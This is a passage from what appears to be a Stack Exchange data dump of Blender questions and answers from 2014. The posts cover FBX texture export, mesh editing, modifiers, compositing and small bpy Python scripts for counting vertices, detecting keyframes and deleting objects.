0,0,0,0&#xA;}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Model needs the texture reference when I want to display it out of blender and thats just fine. It also gets displayed in the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I followed a tutorial and even with looking the tutorial about uv-mapping again, following each step, i cannot reproduce the same kind of cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender, the uv-mapped texture gets displayed right but as I export it to .fbx, the whole texture reference is missing in the file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]Material: &quot;Material::TexturedMaterial_cubetexture&quot;, &quot;&quot; {&#xA;    Version: 102&#xA;    ShadingModel: &quot;lambert&quot;&#xA;    MultiLayer: 0&#xA;    Properties60:  {&#xA;        Property: &quot;ShadingModel&quot;, &quot;KString&quot;, &quot;&quot;, &quot;Lambert&quot;&#xA;        Property: &quot;MultiLayer&quot;, &quot;bool&quot;, &quot;&quot;,0&#xA;        Property: &quot;EmissiveColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8000,0.8000,0.8000&#xA;        Property: &quot;EmissiveFactor&quot;, &quot;double&quot;, &quot;&quot;,0.0000&#xA;        Property: &quot;AmbientColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0000,1.0000,1.0000&#xA;        Property: &quot;AmbientFactor&quot;, &quot;double&quot;, &quot;&quot;,1.0000&#xA;        Property: &quot;DiffuseColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8000,0.8000,0.8000&#xA;        Property: &quot;DiffuseFactor&quot;, &quot;double&quot;, &quot;&quot;,0.8000&#xA;        Property: &quot;Bump&quot;, &quot;Vector3D&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;TransparentColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1,1,1&#xA;        Property: &quot;TransparencyFactor&quot;, &quot;double&quot;, &quot;&quot;,0.0000&#xA;        Property: &quot;SpecularColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0000,1.0000,1.0000&#xA;        Property: &quot;SpecularFactor&quot;, &quot;double&quot;, &quot;&quot;,0.5000&#xA;        Property: &quot;ShininessExponent&quot;, &quot;double&quot;, &quot;&quot;,12.3&#xA;        Property: &quot;ReflectionColor&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;ReflectionFactor&quot;, &quot;double&quot;, &quot;&quot;,1&#xA;        Property: &quot;Emissive&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0,0,0&#xA;        Property: &quot;Ambient&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0,1.0,1.0&#xA;        Property: &quot;Diffuse&quot;, &quot;ColorRGB&quot;, &quot;&quot;,0.8,0.8,0.8&#xA;        Property: &quot;Specular&quot;, &quot;ColorRGB&quot;, &quot;&quot;,1.0,1.0,1.0&#xA;        Property: &quot;Shininess&quot;, &quot;double&quot;, &quot;&quot;,12.3&#xA;        Property: &quot;Opacity&quot;, &quot;double&quot;, &quot;&quot;,1.0&#xA;        Property: &quot;Reflectivity&quot;, &quot;double&quot;, &quot;&quot;,0&#xA;    }&#xA;}&#xA;Pose: &quot;Pose::BIND_POSES&quot;, &quot;BindPose&quot; {&#xA;    Type: &quot;BindPose&quot;&#xA;    Version: 100&#xA;    Properties60:  {&#xA;    }&#xA;    NbPoseNodes: 1&#xA;    PoseNode:  {&#xA;        Node: &quot;Model::Cube&quot;&#xA;        Matrix: 0.000000075497901,0.000000000000000,-1.000000000000000,0.000000000000000,-1.000000000000000,0.000000000000000,-0.000000075497901,0.000000000000000,0.000000000000000,1.000000000000000,0.000000000000000,0.000000000000000,0.000000000000000,0.000000000000000,0.000000000000000,1.000000000000000&#xA;    }&#xA;}&#xA;GlobalSettings:  {&#xA;    Version: 1000&#xA;    Properties60:  {&#xA;        Property: &quot;UpAxis&quot;, &quot;int&quot;, &quot;&quot;,1&#xA;        Property: &quot;UpAxisSign&quot;, &quot;int&quot;, &quot;&quot;,1&#xA;        Property: &quot;FrontAxis&quot;, &quot;int&quot;, &quot;&quot;,2&#xA;        Property: &quot;FrontAxisSign&quot;, &quot;int&quot;, &quot;&quot;,1&#xA;        Property: &quot;CoordAxis&quot;, &quot;int&quot;, &quot;&quot;,0&#xA;        Property: &quot;CoordAxisSign&quot;, &quot;int&quot;, &quot;&quot;,1&#xA;        Property: &quot;UnitScaleFactor&quot;, &quot;double&quot;, &quot;&quot;,1&#xA;    }&#xA;}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The UV coordinates are exported correcty.. only the texture reference is missing.&lt;/p&gt;&#xA;" OwnerUserId="3211" LastActivityDate="2014-04-21T12:22:28.167" Title="Export as .fbx with uv-mapped texture" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8760" PostTypeId="2" ParentId="8733" CreationDate="2014-04-21T13:03:19.140" Score="7" Body="&lt;p&gt;If you are having troubles with doing this in one operation you may have better luck by breaking it into smaller pieces.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In edit mode goto side view and Box select one or two levels. Press &lt;kbd&gt;B&lt;/kbd&gt; to start box select mode. &lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to select vertices linked to what is selected, this ensures you keep each piece together.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; and choose Selection to separate the selected portion into a new object.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat until you have separated the whole tower into smaller parts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of these smaller objects and go into edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; and choose by Loose Parts&lt;/li&gt;&#xA;&lt;li&gt;Repeat for each part created above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-21T13:03:19.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8762" PostTypeId="1" AcceptedAnswerId="8764" CreationDate="2014-04-21T14:04:31.587" Score="4" ViewCount="1055" Body="&lt;p&gt;I've only just started studying the Blender Python API. I'm writing a script (see below) to automate something I've done by hand : joining two adjacent cubes and cleaning up the resulting mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After joining and removing doubles, I expect to have 12 vertices instead of 16 in the resulting object. In the Info header, this seems to be the case, but when I print to the windows terminal I still see 16. Also I do see the output from remove_double(), here's a screenshot :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lxef.png&quot; alt=&quot;Info header and Windows console screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's wrong here ? What is the right way to access an object's mesh, and count its vertices ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joao&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Create two adjacent cubes and join them&#xA;bpy.ops.mesh.primitive_cube_add(location=(1,0,0))&#xA;ob = bpy.context.object&#xA;bpy.ops.mesh.primitive_cube_add(location=(3,0,0))&#xA;ob.select = True&#xA;bpy.ops.object.join()&#xA;&#xA;# Expect 16 vertices, 24 edges, 12 faces&#xA;result = bpy.context.object&#xA;print(str(len(result.data.vertices)))&#xA;&#xA;# Go to edit mode, remove double vertices&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.remove_doubles()&#xA;&#xA;# Expect 12 vertices, 20 edges, 11 faces&#xA;result = bpy.context.object&#xA;print(str(len(result.data.vertices)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3209" LastActivityDate="2014-04-22T10:27:34.583" Title="Vertex count appears incorrect after removing doubles" Tags="&lt;python&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8763" PostTypeId="2" ParentId="8754" CreationDate="2014-04-21T14:31:37.997" Score="3" Body="&lt;p&gt;As this is a blender specific website, may I recommend blender?&lt;br&gt;&#xA;Blender has some basic tools for preparing models for printing, see &lt;a href=&quot;http://www.shapeways.com/tutorials/prepping_blender_files_for_3d_printing&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, and there are plenty of tutorials out there, but here's a few things to note that most of them don't cover:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Blender unit system is not like CAD software. See &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aRayek/Doc:2.6/Manual/Interface/Units&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for info on working with it. I would recommend using metric, as imperial can get quite messy.  If you need models in inches, change the scale factor (multiply by 25.4, as that's the number of mm per inch) when exporting.&lt;/li&gt;&#xA;&lt;li&gt;Blender is very flexible with normals (the direction a face points).  3d printing software is not.  Before exporting go into edit mode and hit ctrl+N to recalculate the normals.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;nofollow&quot;&gt;decimate modifier&lt;/a&gt; to simplify geometry before exporting. Enabling planar mode on this modifier is one way to make edges smoother.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Laplacian_Smooth&quot; rel=&quot;nofollow&quot;&gt;laplacian smooth&lt;/a&gt; modifier may also be helpful if the data is noisy.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The shrinkWrap modifier may be good, if the data isn't too complex.&#xA;A good approach to learning to do this with blender would be  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the file to blender as a mesh object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply a decimate or smooth modifier to the model, maybe play around with some of the others too, until you find what gets good results.&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifiers, after making a backup of the scene or file.&lt;/li&gt;&#xA;&lt;li&gt;Do any manual editing of the mesh needed&lt;/li&gt;&#xA;&lt;li&gt;Export as an stl file with an appropriate scale factor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="2699" LastEditDate="2014-04-21T17:29:28.170" LastActivityDate="2014-04-21T17:29:28.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8764" PostTypeId="2" ParentId="8762" CreationDate="2014-04-21T14:50:48.823" Score="2" Body="&lt;p&gt;This is the correct way, however blender is not updating the data.  Exit edit mode, (&lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')&lt;/code&gt;) and the correct result appears.&#xA;Oddly enough, blender displays the correct number of vertices in the header, I'm not sure why the python api doesn't.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-21T14:50:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8765" PostTypeId="1" CreationDate="2014-04-21T15:32:40.743" Score="0" ViewCount="52" Body="&lt;p&gt;I have a scene that has hundreds of modifiers in it. When I try to render my scene, it takes &lt;strong&gt;FOREVER&lt;/strong&gt;, so long that I cannot even render the scene! Help me please! How can I apply all of these modifiers all at once? I don't want to have to manually click &quot;Apply&quot; hundreds of times!&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-21T15:32:40.743" Title="How can I apply all Modifiers at once?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-04-21T17:18:56.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="8766" PostTypeId="2" ParentId="3488" CreationDate="2014-04-21T15:32:40.743" Score="14" Body="&lt;h2&gt;Convert To&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One very easy way to do this is to use the Convert To command: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQYZM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have curve objects that need to stay curves, then use Convert to Curve&lt;br&gt;&#xA;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Convert to -&gt; Curve from Mesh/Text&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have mesh objects that need to stay meshes, then use Convert to Mesh&lt;br&gt;&#xA;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Convert to -&gt; Mesh from Curve/Meta/Surf/Text&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will automatically apply all modifiers at once:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYizC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-21T15:32:40.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8767" PostTypeId="1" AcceptedAnswerId="8774" CreationDate="2014-04-21T16:47:34.470" Score="4" ViewCount="292" Body="&lt;p&gt;I extracted a curve from a surface (with P in edit mode, then Alt+C in object mode). I then duplicated a cone along this curve but the duplicated objects are distorted and I can't orient them normal to the surface.&#xA;How can I duplicate the cones without distortion and orient them normal to the surface ?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/avtoT.jpg&quot; alt=&quot;picture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B3U2BO-9tuUCZWFkUzhtUHlIRms/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;my file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2014-04-21T18:38:49.590" Title="How can I orient objects duplicated along a curve extracted from a surface?" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostTypeId="1" AcceptedAnswerId="8771" CreationDate="2014-04-21T17:09:09.163" Score="8" ViewCount="5266" Body="&lt;p&gt;I've tried a lot to make a 3D model of frustum of cone but have been unsuccessful. How can I model one?&lt;/p&gt;&#xA;" OwnerUserId="4984" LastEditorUserId="5426" LastEditDate="2016-12-31T19:31:47.907" LastActivityDate="2016-12-31T19:31:47.907" Title="How to make a cone frustum" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8769" PostTypeId="2" ParentId="8717" CreationDate="2014-04-21T17:09:15.973" Score="0" Body="&lt;p&gt;I have a solution to this problem using Python Lambda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an an update function called &quot;updateID&quot; with inputs for Self,Context and ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then when creating your property do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update = eval(&quot;lambda s,c: updateID(s,c,\&quot;%s\&quot;)&quot; %foo)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;foo is the unique ID that you use to identify that object inside the updateID function like the properties name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a unique update function for each instance of the property that simply calls the &quot;updateID&quot; function and plums in the ID variable. &lt;/p&gt;&#xA;" OwnerUserId="3141" LastActivityDate="2014-04-21T17:09:15.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8770" PostTypeId="2" ParentId="8768" CreationDate="2014-04-21T17:25:19.967" Score="3" Body="&lt;p&gt;Starting with a default primitive of a cone and a cube from the add object menu. Place the cube so that it covers the tip you want to cut away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Boolean Modifier&lt;/em&gt; to the cone and set &lt;em&gt;Object&lt;/em&gt; to &lt;em&gt;Cube&lt;/em&gt; and &lt;em&gt;Operation&lt;/em&gt; to Difference.&#xA;After the modifier is applied you can remove the cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqmHP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AkxK7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alternatively&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Start with a Cylinder select the top face in &lt;em&gt;Edit Mode&lt;/em&gt; and scale the tip &lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6l190.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-04-21T17:35:56.373" LastActivityDate="2014-04-21T17:35:56.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8771" PostTypeId="2" ParentId="8768" CreationDate="2014-04-21T17:40:13.983" Score="10" Body="&lt;p&gt;You can simply add a &lt;em&gt;Cone&lt;/em&gt; primitive and adjust the radius of the top &lt;em&gt;(Radius 2)&lt;/em&gt; and then adjust the length and or bottom radius as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFyyl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-04-21T17:40:13.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8772" PostTypeId="1" CreationDate="2014-04-21T18:01:57.667" Score="1" ViewCount="765" Body="&lt;p&gt;I was trying to replicate the dynamic joint setup presented here (Maya) &lt;a href=&quot;http://youtu.be/quNPwNt5zmk?t=48s&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/quNPwNt5zmk?t=48s&lt;/a&gt; (See the first 10 seconds animation of the &quot;Process and inspiration of the making of PTEROIS&quot; starting at 48s). The animation is showing a simple armature dynamic setup waving as you move/rotate the root of the armature around (soft/rigid body kind of dynamics - underwater weed/anemone kind of animation). Is this kind of setup / dynamic animation possible in Blender ? I was unsuccessful to find the proper solution/settings that would give me same smooth, non-jerky, attenuated animation. I used spline IK combined with curve/soft body animation. In the referenced animation note how when the root bone rotates, the rest of the armature follows the root bone propagating the wave all the way to the tail (@note: the tail does not move immediately). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a solution that would be as close as possible to the illustrated one: namely i want the dynamic wave animation to be smooth, the curve bending should be smooth (no uneven bending due to properly updated curve tangents during the animation). Also the curve should not jump around due to some funky solving errors, and the waving should attenuate to the rest position without further mini oscillations. And the armature should not stretch as the curve animates.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorDisplayName="user7952" LastEditDate="2014-11-22T03:36:18.223" LastActivityDate="2014-11-22T03:36:18.223" Title="Underwater weed wave dynamics" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;armature&gt;&lt;rigid-body-simulation&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8774" PostTypeId="2" ParentId="8767" CreationDate="2014-04-21T18:38:49.590" Score="3" Body="&lt;p&gt;The issue is your curve has unapplied scale. Apply it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt; and it will work fine (note that you will have to re-position your cone):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mTgq7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-21T18:38:49.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8777" PostTypeId="1" AcceptedAnswerId="8778" CreationDate="2014-04-21T22:51:58.703" Score="14" ViewCount="13073" Body="&lt;p&gt;I have a script that takes in positional data and creates a cube based on their positions. Each time I run the script, I've noticed that the old cubes are still showing up in the User Perspective. It's a pain to go through each cube and manually delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled for a while to find a solution to no avail. I know that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in bpy.data.objects:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Allows me to iterate through the objects in the scene. I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Camera&#xA;Cube&#xA;Cube.001&#xA;Cube.002&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I don't know how to use the API to select only cubes to remove and I don't know how to remove them. Is unlinking the same thing as removing the cubes from the user perspective?&lt;/p&gt;&#xA;" OwnerUserId="3224" LastActivityDate="2014-04-22T00:07:55.063" Title="Selecting and removing particular objects" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostTypeId="2" ParentId="8777" CreationDate="2014-04-21T23:42:09.580" Score="18" Body="&lt;p&gt;This should do the trick, first iterate through everything in your scene, next check if it is as mesh and check if it is a cube &lt;em&gt;(by name using the first 4 chars)&lt;/em&gt;, then remove it. Also, make sure you are in &lt;em&gt;object&lt;/em&gt; mode when running the script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;for ob in scene.objects:&#xA;    if ob.type == 'MESH' and ob.name.startswith(&quot;Cube&quot;):&#xA;        ob.select = True&#xA;    else: &#xA;        ob.select = False&#xA;&#xA;bpy.ops.object.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2966/12&quot;&gt;Unlinking an object from a scene does not remove it entirely.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Condensed version of the same script thanks to CoDEmanX.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy    &#xA;for ob in bpy.context.scene.objects:&#xA;    ob.select = ob.type == 'MESH' and ob.name.startswith(&quot;Cube&quot;)&#xA;bpy.ops.object.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-04-22T00:07:55.063" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8779" PostTypeId="1" AcceptedAnswerId="8783" CreationDate="2014-04-22T02:42:11.100" Score="3" ViewCount="812" Body="&lt;p&gt;I need to be able to tell if a bone property has a keyframe on the current frame. I.e. the property box is yellow and not green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can evaluate an fcurve but how do you tell if it's a keyframe?&#xA;Is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3141" LastEditorUserId="599" LastEditDate="2014-04-22T06:10:13.870" LastActivityDate="2014-04-22T10:07:05.503" Title="How can I tell if a bone property has a keyframe on the current frame using python?" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8780" PostTypeId="1" AcceptedAnswerId="8802" CreationDate="2014-04-22T04:39:00.947" Score="9" ViewCount="423" Body="&lt;p&gt;I'm having a heck of a time compositing numerous layers using the Alpha Over nodes in the compositor. I have done this many times before without a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the objects on each layer are ending up with alpha halos around them. The saved image (Targa, TIFF, PNG,etc.) all have semi-transparent halos around each layer's contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried checking Convert Premul at each stage along the node tree trying to get the alphas to work correctly together but the checkbox seems to be having no effect at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what's up with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Unfortunately, I can't post a .blend because it contains purchased models)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/okl6L.png&quot; alt=&quot;Halos Around Every Layer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded a very simple .blend showing the same problem as well as a screen shot. The blend is &lt;a href=&quot;http://www.skwerm.com/blender/Composite.blend&quot; rel=&quot;noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand what's happening (I think) in that each layer's edges are being anti-aliased against the black background, resulting in gray edges. But there must be a way to do what I'm trying to do here. I know I've done it before where the alphas are blended such that the gray halos aren't there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I should be doing this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DFoDI.png&quot; alt=&quot;Simple .blend showing similar setup and problem.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="537" LastEditDate="2014-04-22T11:40:34.600" LastActivityDate="2018-05-30T21:57:00.630" Title="Compositing Layers Have Halos" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;node-editor&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8782" PostTypeId="1" AcceptedAnswerId="8788" CreationDate="2014-04-22T09:41:50.153" Score="7" ViewCount="7403" Body="&lt;p&gt;I have a elbow pipe joint and I want to extrude the selected edges out to extend the pipe: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9JtQc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is no convenient axis to restrict movement to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-24T10:29:33.140" LastActivityDate="2014-04-24T10:29:33.140" Title="How do I extrude perpendicular to a plane NOT oriented along X, Y or Z?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="2" ParentId="8779" CreationDate="2014-04-22T10:00:55.310" Score="2" Body="&lt;p&gt;There is no easy way, but you could extend the Object type by a method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def is_keyframe(ob, frame, data_path, array_index=-1):&#xA;    if ob is not None and ob.animation_data is not None and ob.animation_data.action is not None:&#xA;        for fcu in ob.animation_data.action.fcurves:&#xA;            if fcu.data_path == data_path:&#xA;                if array_index == -1 or fcu.array_index == array_index:&#xA;                    return frame in (p.co.x for p in fcu.keyframe_points)&#xA;    return False&#xA;&#xA;bpy.types.Object.is_keyframe = is_keyframe    &#xA;&#xA;&#xA;# TEST&#xA;ob = bpy.context.object&#xA;pbone = bpy.context.active_pose_bone&#xA;&#xA;# True or False &#xA;ob.is_keyframe(20, pbone.path_from_id(&quot;location&quot;), array_index=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;frame&lt;/code&gt; can be int or float, &lt;code&gt;20&lt;/code&gt; will match a &lt;code&gt;co.x&lt;/code&gt; of &lt;code&gt;20.0&lt;/code&gt;, but not a subframe like &lt;code&gt;20.1&lt;/code&gt;. If you want to check for full frames, use &lt;code&gt;round(p.co.x)&lt;/code&gt; in the &lt;code&gt;is_keyframe()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Talked to ideasman_42, and he may check on adding a native method to retrieve F-Curve and Keyframe objects more easily.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-22T10:07:05.503" LastActivityDate="2014-04-22T10:07:05.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8784" PostTypeId="2" ParentId="8762" CreationDate="2014-04-22T10:27:34.583" Score="4" Body="&lt;p&gt;With the standard API (&lt;code&gt;bpy&lt;/code&gt;), the editmesh is flushed to mesh when you change mode. What you access is the mesh, which is still in the old state as it was when you entered editmode. What you want is the editmesh's vertex count, but you can't directly access it with &lt;code&gt;bpy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could change mode to flush changes, but there's actually a better way in recent Blender versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Load the objects edit-mode data into the object data&#xA;bpy.context.object.update_from_editmode()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you work with the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;BMesh Module (bmesh)&lt;/a&gt; and a wrapped bmesh, the number of vertices will be immediately updated - but you 